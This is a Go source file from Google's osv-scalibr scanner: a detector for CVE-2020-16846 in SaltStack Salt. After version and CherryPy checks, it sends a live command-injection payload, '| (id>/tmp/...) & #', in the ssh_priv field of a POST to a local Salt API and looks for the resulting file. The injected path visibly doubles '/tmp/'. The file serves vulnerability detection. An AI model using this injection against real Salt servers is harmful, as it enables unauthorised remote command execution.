github.com/google/osv-scalibr@v0.4.1/detector/cve/untested/cve202016846/cve202016846.go (about)

     1  // Copyright 2025 Google LLC
     2  //
     3  // Licensed under the Apache License, Version 2.0 (the "License");
     4  // you may not use this file except in compliance with the License.
     5  // You may obtain a copy of the License at
     6  //
     7  //      http://www.apache.org/licenses/LICENSE-2.0
     8  //
     9  // Unless required by applicable law or agreed to in writing, software
    10  // distributed under the License is distributed on an "AS IS" BASIS,
    11  // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    12  // See the License for the specific language governing permissions and
    13  // limitations under the License.
    14  
    15  // Package cve202016846 implements a detector for CVE-2020-16846.
    16  // To test this detector locally, run the following commands:
    17  // To install a vulnerable version of Salt, run the following commands as root:
    18  // python3 -m venv salt_env; source salt_env/bin/activate;
    19  // pip install salt==3002; pip install jinja2==3.0.1
    20  //
    21  // Once installed, run salt-master -d && salt-api -d
    22  //
    23  // If the proposed method above doesn't work, using the steps in
    24  // https://github.com/zomy22/CVE-2020-16846-Saltstack-Salt-API
    25  // might be more stable.
    26  // However, make sure to add the line "RUN pip install jinja2==3.0.1"
    27  // before the ENTRYPOINT line in the Dockerfile.
    28  package cve202016846
    29  
    30  import (
    31  	"bytes"
    32  	"context"
    33  	"encoding/json"
    34  	"errors"
    35  	"fmt"
    36  	"io/fs"
    37  	"math/rand"
    38  	"net"
    39  	"net/http"
    40  	"os"
    41  	"strconv"
    42  	"strings"
    43  	"time"
    44  
    45  	"github.com/google/osv-scalibr/detector"
    46  	"github.com/google/osv-scalibr/extractor"
    47  	"github.com/google/osv-scalibr/extractor/filesystem/language/python/wheelegg"
    48  	scalibrfs "github.com/google/osv-scalibr/fs"
    49  	"github.com/google/osv-scalibr/inventory"
    50  	"github.com/google/osv-scalibr/log"
    51  	"github.com/google/osv-scalibr/packageindex"
    52  	"github.com/google/osv-scalibr/plugin"
    53  
    54  	osvpb "github.com/ossf/osv-schema/bindings/go/osvschema"
    55  	structpb "google.golang.org/protobuf/types/known/structpb"
    56  )
    57  
    58  type saltPackageNames struct {
    59  	packageType      string
    60  	name             string
    61  	affectedVersions []string
    62  }
    63  
    64  const (
    65  	// Name of the detector.
    66  	Name = "cve/cve-2020-16846"
    67  
    68  	saltServerPort = 8000
    69  	defaultTimeout = 5 * time.Second
    70  	saltServerIP   = "127.0.0.1"
    71  )
    72  
    73  var (
    74  	seededRand   = rand.New(rand.NewSource(time.Now().UnixNano()))
    75  	randFilePath = "/tmp/" + randomString(16)
    76  	saltPackages = []saltPackageNames{
    77  		{
    78  			packageType: "pypi",
    79  			name:        "salt",
    80  			affectedVersions: []string{
    81  				"2015.8.10",
    82  				"2015.8.13",
    83  				"2016.3.4",
    84  				"2016.3.6",
    85  				"2016.3.8",
    86  				"2016.11.3",
    87  				"2016.11.6",
    88  				"2016.11.10",
    89  				"2017.7.4",
    90  				"2017.7.8",
    91  				"2018.3.5",
    92  				"2019.2.5",
    93  				"2019.2.6",
    94  				"3000.3",
    95  				"3000.4",
    96  				"3001.1",
    97  				"3001.2",
    98  				"3002",
    99  			},
   100  		},
   101  	}
   102  )
   103  
   104  // Detector is a SCALIBR Detector for CVE-2020-16846.
   105  type Detector struct{}
   106  
   107  // New returns a detector.
   108  func New() detector.Detector {
   109  	return &Detector{}
   110  }
   111  
   112  // Name of the detector.
   113  func (Detector) Name() string { return Name }
   114  
   115  // Version of the detector.
   116  func (Detector) Version() int { return 0 }
   117  
   118  // Requirements of the detector.
   119  func (Detector) Requirements() *plugin.Capabilities {
   120  	return &plugin.Capabilities{DirectFS: true, RunningSystem: true, OS: plugin.OSLinux}
   121  }
   122  
   123  // RequiredExtractors returns an empty list as there are no dependencies.
   124  func (Detector) RequiredExtractors() []string { return []string{wheelegg.Name} }
   125  
   126  // DetectedFinding returns generic vulnerability information about what is detected.
   127  func (d Detector) DetectedFinding() inventory.Finding {
   128  	return d.findingForPackage(nil, nil)
   129  }
   130  
   131  func (Detector) findingForPackage(dbSpecific *structpb.Struct, pkg *extractor.Package) inventory.Finding {
   132  	saltPkg := &extractor.Package{
   133  		Name:     "salt",
   134  		PURLType: "pypi",
   135  	}
   136  	return inventory.Finding{PackageVulns: []*inventory.PackageVuln{{
   137  		Package: pkg,
   138  		Vulnerability: &osvpb.Vulnerability{
   139  			Id:      "CVE-2020-16846",
   140  			Summary: "CVE-2020-16846",
   141  			Details: "CVE-2020-16846",
   142  			Affected: inventory.PackageToAffected(saltPkg, "3002.1", &osvpb.Severity{
   143  				Type:  osvpb.Severity_CVSS_V3,
   144  				Score: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
   145  			}),
   146  			DatabaseSpecific: dbSpecific,
   147  		},
   148  	}}}
   149  }
   150  
   151  func findSaltVersions(px *packageindex.PackageIndex) (string, *extractor.Package, []string) {
   152  	for _, r := range saltPackages {
   153  		pkg := px.GetSpecific(r.name, r.packageType)
   154  		for _, p := range pkg {
   155  			return p.Version, p, r.affectedVersions
   156  		}
   157  	}
   158  	return "", nil, []string{}
   159  }
   160  
   161  // Scan checks for the presence of the Salt CVE-2020-16846 vulnerability on the filesystem.
   162  func (d Detector) Scan(ctx context.Context, scanRoot *scalibrfs.ScanRoot, px *packageindex.PackageIndex) (inventory.Finding, error) {
   163  	saltVersion, pkg, affectedVersions := findSaltVersions(px)
   164  	if saltVersion == "" {
   165  		log.Debugf("No Salt version found")
   166  		return inventory.Finding{}, nil
   167  	}
   168  	isVulnVersion := false
   169  	for _, r := range affectedVersions {
   170  		if strings.Contains(saltVersion, r) {
   171  			isVulnVersion = true
   172  		}
   173  	}
   174  
   175  	if !isVulnVersion {
   176  		log.Infof("Version %q not vuln", saltVersion)
   177  		return inventory.Finding{}, nil
   178  	}
   179  
   180  	log.Infof("Found Potentially vulnerable Salt version %v", saltVersion)
   181  
   182  	if !CheckForCherrypy(ctx, saltServerIP, saltServerPort) {
   183  		log.Infof("Cherry py not found. Version %q not vulnerable", saltVersion)
   184  		return inventory.Finding{}, nil
   185  	}
   186  
   187  	if !ExploitSalt(ctx, saltServerIP, saltServerPort) {
   188  		log.Infof("Version %q not vulnerable", saltVersion)
   189  		return inventory.Finding{}, nil
   190  	}
   191  
   192  	log.Infof("Exploit successful")
   193  
   194  	if !fileExists(scanRoot.FS, randFilePath) {
   195  		return inventory.Finding{}, nil
   196  	}
   197  
   198  	log.Infof("Version %q is vulnerable", saltVersion)
   199  
   200  	err := os.Remove(randFilePath)
   201  	if err != nil {
   202  		log.Infof("Error removing file: %v", err)
   203  	}
   204  
   205  	dbSpecific := &structpb.Struct{
   206  		Fields: map[string]*structpb.Value{
   207  			"extra": {Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("%s %s %s", pkg.Name, pkg.Version, strings.Join(pkg.Locations, ", "))}},
   208  		},
   209  	}
   210  	return d.findingForPackage(dbSpecific, pkg), nil
   211  }
   212  
   213  // CheckForCherrypy checks for the presence of Cherrypy in the server headers.
   214  func CheckForCherrypy(ctx context.Context, saltIP string, saltServerPort int) bool {
   215  	target := "http://" + net.JoinHostPort(saltIP, strconv.Itoa(saltServerPort))
   216  
   217  	req, err := http.NewRequestWithContext(ctx, http.MethodGet, target, nil)
   218  
   219  	if err != nil {
   220  		log.Infof("Request failed: %v", err)
   221  		return false
   222  	}
   223  
   224  	client := &http.Client{Timeout: defaultTimeout}
   225  	resp, err := client.Do(req)
   226  
   227  	if err != nil {
   228  		log.Infof("Request failed: %v", err)
   229  		return false
   230  	}
   231  
   232  	defer resp.Body.Close()
   233  
   234  	serverHeader := resp.Header.Get("Server")
   235  	return strings.Contains(serverHeader, "CherryPy")
   236  }
   237  
   238  // ExploitSalt attempts to exploit the Salt server if vulnerable.
   239  func ExploitSalt(ctx context.Context, saltIP string, saltServerPort int) bool {
   240  	target := fmt.Sprintf("http://%s/run", net.JoinHostPort(saltIP, strconv.Itoa(saltServerPort)))
   241  	data := map[string]any{
   242  		"client":   "ssh",
   243  		"tgt":      "*",
   244  		"fun":      "B",
   245  		"eauth":    "C",
   246  		"ssh_priv": fmt.Sprintf("| (id>/tmp/%s) & #", randFilePath),
   247  	}
   248  
   249  	jsonData, err := json.Marshal(data)
   250  	if err != nil {
   251  		log.Infof("Error marshaling JSON: %v", err)
   252  		return false
   253  	}
   254  	ctx, cancel := context.WithTimeout(ctx, defaultTimeout)
   255  	defer cancel()
   256  
   257  	req, err := http.NewRequestWithContext(ctx, http.MethodPost, target, bytes.NewBuffer(jsonData))
   258  	if err != nil {
   259  		log.Infof("Error creating request: %v\n", err)
   260  		return false
   261  	}
   262  	req.Header.Set("Content-Type", "application/json")
   263  
   264  	client := &http.Client{}
   265  	resp, err := client.Do(req)
   266  	if err != nil {
   267  		if errors.Is(err, context.DeadlineExceeded) {
   268  			log.Infof("Request needs to timeout. POST request hangs up otherwise")
   269  			return true
   270  		}
   271  		log.Infof("Error sending request: %v\n", err)
   272  		return false
   273  	}
   274  	defer resp.Body.Close()
   275  
   276  	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
   277  		log.Infof("Unexpected status code: %d\n", resp.StatusCode)
   278  		return false
   279  	}
   280  
   281  	return true
   282  }
   283  
   284  func fileExists(filesys scalibrfs.FS, path string) bool {
   285  	_, err := fs.Stat(filesys, path)
   286  	return !os.IsNotExist(err)
   287  }
   288  
   289  func randomString(length int) string {
   290  	charSet := "aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ"
   291  	b := make([]byte, length)
   292  	for i := range b {
   293  		b[i] = charSet[seededRand.Intn(len(charSet)-1)]
   294  	}
   295  	return string(b)
   296  }